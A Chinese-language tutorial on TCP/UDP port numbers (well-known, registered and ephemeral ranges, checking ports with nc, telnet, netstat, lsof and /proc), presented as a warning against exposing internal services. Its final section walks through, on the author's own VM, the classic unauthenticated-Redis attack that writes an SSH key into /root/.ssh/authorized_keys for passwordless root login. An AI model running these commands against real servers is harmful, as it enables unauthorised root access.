Search K
Appearance
Appearance
这篇文章我们来聊聊端口号这个老朋友。端口号的英文叫 Port,原意是 "港口,口岸" 的意思,作为繁忙的进出口转运货物,跟端口号在计算机中的含义非常接近。

分层结构中每一层都有一个唯一标识,比如链路层的 MAC 地址,IP 层的 IP 地址,传输层是用端口号。

TCP 用两字节的整数来表示端口,一台主机最大允许 65536 个端口号的。TCP 首部中端口号如下图黄色高亮部分。

如果把 ip 地址比作一间房子,端口就是出入这间房子的门。房子一般只有几个门,但是一台主机端口最多可以有 65536 个。
有了 IP 协议,数据包可以顺利的被传输到对应 IP 地址的主机,当主机收到一个数据包时,应该把这个数据包交给哪个应用程序进行处理呢?这台主机可能运行多个应用程序,比如处理 HTTP 请求的 web 服务器 Nginx,Redis 服务器,读写 MySQL 服务器的客户端等。
传输层就是用端口号来区分同一个主机上不同的应用程序的。操作系统为有需要的进程分配端口号,当目标主机收到数据包以后,会根据数据报文首部的目标端口号将数据发送到对应端口的进程。

主动发起的客户端进程也需要开启端口,会把自己的端口放在首部的源端口(source port)字段中,以便对方知道要把数据回复给谁。
端口号被划分成以下 3 种类型:
熟知端口号(well-known port)
熟知端口号由专门的机构由 IANA 分配和控制,范围为 0~1023。为了能让客户端能随时找到自己,服务端程序的端口必须要是固定的。很多熟知端口号已经被用就分配给了特定的应用,比如 HTTP 使用 80 端口,HTTPS 使用 443 端口,ssh 使用 22 端口。访问百度 http://www.baidu.com/,其实就是向百度服务器之一(163.177.151.110)的 80 端口发起请求,curl -v http://www.baidu.com/ 抓包结果如下
20:12:32.336962 IP 10.211.55.10.39438 > 163.177.151.110.80: Flags [S], seq 2171375522, win 29200, options [mss 1460,sackOK,TS val 346956173 ecr 0,nop,wscale 7], length 0
20:12:32.373834 IP 163.177.151.110.80 > 10.211.55.10.39438: Flags [S.], seq 3304042876, ack 2171375523, win 32768, options [mss 1460,wscale 1,nop], length 0
20:12:32.373948 IP 10.211.55.10.39438 > 163.177.151.110.80: Flags [.], ack 1, win 229, length 0
20:12:32.374290 IP 10.211.55.10.39438 > 163.177.151.110.80: Flags [P.], seq 1:78, ack 1, win 229, length 77
GET / HTTP/1.1
Host: www.baidu.com
User-Agent: curl/7.64.1
Accept: */*在 Linux 上,如果你想监听这些端口需要 Root 权限,为的就是这些熟知端口不被普通的用户进程占用,防止某些普通用户实现恶意程序(比如伪造 ssh 监听 22 端口)来获取敏感信息。熟知端口也被称为保留端口。
已登记的端口(registered port)
已登记的端口不受 IANA 控制,不过由 IANA 登记并提供它们的使用情况清单。它的范围为 1024 ~ 49151。
为什么是 49151 这样一个魔数?其实是取的端口号最大值 65536 的 3/4 减 1 (49151 = 65536 * 0.75 - 1)。可以看到已登记的端口占用了大约 75% 端口号的范围。
已登记的端口常见的端口号有:
熟知端口号和已登记的端口都可以在 iana 的官网 查到

临时端口号(ephemeral port) 如果应用程序没有调用 bind() 函数将 socket 绑定到特定的端口上,那么 TCP 和 UDP 会为该 socket 分配一个唯一的临时端口。IANA 将 49152 ~ 65535 范围的端口称为临时端口(ephemeral port)或动态端口(dynamic port),也称为私有端口(private port),这些端口可供本地应用程序临时分配端口使用。
不同的操作系统实现会选择不同的范围分配临时端口,在 Linux 上能分配的端口范围由 /proc/sys/net/ipv4/ip_local_port_range 变量决定,一般 Linux 内核端口范围为 32768~60999
cat /proc/sys/net/ipv4/ip_local_port_range
32768 60999在需要主动发起大量连接的服务器上(比如网络爬虫、正向代理)可以调整 ip_local_port_range 的值,允许更多的可用端口。
使用 nc 和 telnet 这两个命令可以非常方便的查看到对方端口是否打开或者网络是否可达,比如查看 10.211.55.12 机器的 6379 端口是否打开可以使用
telnet 10.211.55.12 6379
Trying 10.211.55.12...
Connected to 10.211.55.12.
Escape character is '^]'.
nc -v 10.211.55.12 6379
Ncat: Connected to 10.211.55.12:6379这两个命令我后面会有独立的内容来介绍,现在先有一个印象。
如果对端端口没有打开,会发生什么呢?比如 10.211.55.12 的 6380 端口没有打开,使用 telnet 和 nc 命令会出现 "Connection refused" 错误
telnet 10.211.55.12 6380
Trying 10.211.55.12...
telnet: connect to address 10.211.55.12: Connection refused
nc -v 10.211.55.12 6380 Ncat: Connection refused比如查看 22 端口被谁占用,常见的可以使用 lsof 和 netstat 两种方法
第一种方法:使用 netstat
sudo netstat -ltpn | grep :22
第二种方法:使用 lsof 因为在 linux 上一切皆文件,TCP socket 连接也是一个 fd。因此使用 lsof 也可以
sudo lsof -n -P -i:22其中 -n 表示不将 IP 转换为 hostname,-P 表示不将 port number 转换为 service name,-i:port 表示端口号为 22 的进程

可以看到 22 端口被进程号为 1333 的 sshd 进程监听
反过来,如何查看进程监听或者打开了哪些端口呢?
还是以 sshd 为例,先用 ps -ef | grep sshd 找到 sshd 的进程号,这里为 1333
第一种方法:使用 netstat
sudo netstat -atpn | grep 1333
第二种方法:使用 lsof
sudo lsof -n -P -p 1333 | grep TCP
第三种方法奇技淫巧:/proc/pid
在 linux 上有一个神奇的目录 /proc,每个进程启动以后会生成这样一个目录,比如我们用 nc -4 -l 8080 快速启动一个 tcp 的服务器,使用 ps 找到进程 id
ps -ef | grep "nc -4 -l 8080" | grep -v grep
UID PID PPID C STIME TTY TIME CMD
ya 19196 15191 0 00:33 pts/6 00:00:00 nc -4 -l 8080然后 cd 进 /proc/19196 (备注 19196 是 nc 命令的进程号),执行 ls -l 看到如下输出

里面有一个很有意思的文件和目录,cwd 表示 nc 命令是在哪个工作目录执行的。fd 目录表示进程打开的所有的文件,cd 到那个目录

fd 为 0,1,2 的分别表示标准输入 stdin(0)、标准输出 stdout(1)、错误输出 stderr(2)。fd 为 3 表示 nc 监听的套接字 fd,后面跟了一个神奇的数字 25597827,这个数字表示 socket 的 inode 号,我们可以通过这个 inode 号来找改 socket 的信息。
TCP 的连接信息会在这里显示 cat /proc/net/tcp

可以找到 inode 为 25597827 的套接字。其中 local_address 为 00000000:1F90,rem_address 为 00000000:0000,表示四元组(0.0.0.0:8080, 0.0.0.0:0),state 为 0A,表示 TCP_LISTEN 状态。
道路千万条,安全第一条。暴露不合理,运维两行泪。
把本来应该是内网或本机调用的服务端口暴露到公网是极其危险的事情,比如之前 2015 年很多 Redis 服务器遭受到了攻击,方法正是利用了暴露在公网的 Redis 端口进行入侵系统。

它的原理是利用了不需要密码登录的 redis,清空 redis 数据库后写入他自己的 ssh 登录公钥,然后将 redis 数据库备份为 /root/.ssh/authotrized_keys。这就成功地将自己的公钥写入到 .ssh 的 authotrized_keys,无需密码直接 root 登录被黑的主机。

下面我们来演示一个以 root 权限运行的 redis 服务器是怎么被黑的。
场景:一台 ip 为 10.211.55.12(我的一台 Centos7 虚拟机)的 6379 端口对外暴露端口。首先尝试登录,发现需要输入密码
ssh root@10.211.55.12
root@10.211.55.12's password:
Permission denied, please try again.切换到 root 用户
下载解压 Redis 3.0 的代码:
wget https://codeload.github.com/antirez/redis/zip/3.0
unzip 3.0编译 redis
cd redis-3.0
make运行 redis 服务器,不出意外,redis 服务器就启动起来了。
cd src
./redis-server执行 netstat
sudo netstat -ltpn | grep 6379
可以看到 redis 服务器默认监听 0.0.0.0:6379,表示允许任意来源的连接 6379 端口,可以在另外一台机器使用 telnet 或者 nc 访问此端口,如果成功连接,可以输入 ping 看是否返回 pong。
nc c4 6379
ping
+PONG注意
Centos7 上默认启用了防火墙,会禁止访问某些端口,可以下面的方式禁用。
sudo systemctl stop firewalld.service客户端使用 ssh-keygen 生成公钥,不停按 enter,不出意外马上在 ~/.ssh 生成了目录生成了公私钥文件
ssh-keygen
ll ~/.ssh
ya@c2 ~$ ll .ssh
-rw-------. 1 ya ya 1.7K 4 月 14 03:00 id_rsa
-rw-r--r--. 1 ya ya 387 4 月 14 03:00 id_rsa.pub将客户端公钥写入到文件 foo.txt 中以便后面写入到 redis,其实是生成一个头尾都包含两个空行的公钥文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt先清空 Redis 存储所有的内容,将 foo.txt 文件内容写入到某个 key 中,这里为 crackit,随后调用 redis-cli 登录 redis 调用 config 命令设置文件 redis 的 dir 目录和把 rdb 文件的名字 dbfilename 设置为 authorized_keys。
redis-cli -h 10.211.55.12 echo flushall
cat foo.txt | redis-cli -h 10.211.55.12 -x set crackit
// 登录 Redis
redis-cli -h 10.211.55.12
config set dir /root/.ssh
config set dbfilename "authorized_keys"执行 save 将 crackit 内容 落盘
save尝试登录
ssh root@10.211.55.12我们来看一下,服务器 10.211.55.12 机器上 /root/.ssh/authorized_keys 的内容,可以看到 authorized_keys 文件正是我们客户端机器的公钥文件

利用这个漏洞有几个前提条件
-DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the '--protected-mode no' option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.这篇文章讲解了端口号背后的细节,我为你准备了思维导图:

小于()的 TCP/UDP 端口号已保留与现有服务一一对应,此数字以上的端口号可自由分配?
下列 TCP 端口号中不属于熟知端口号的是()
关于网络端口号,以下哪个说法是正确的()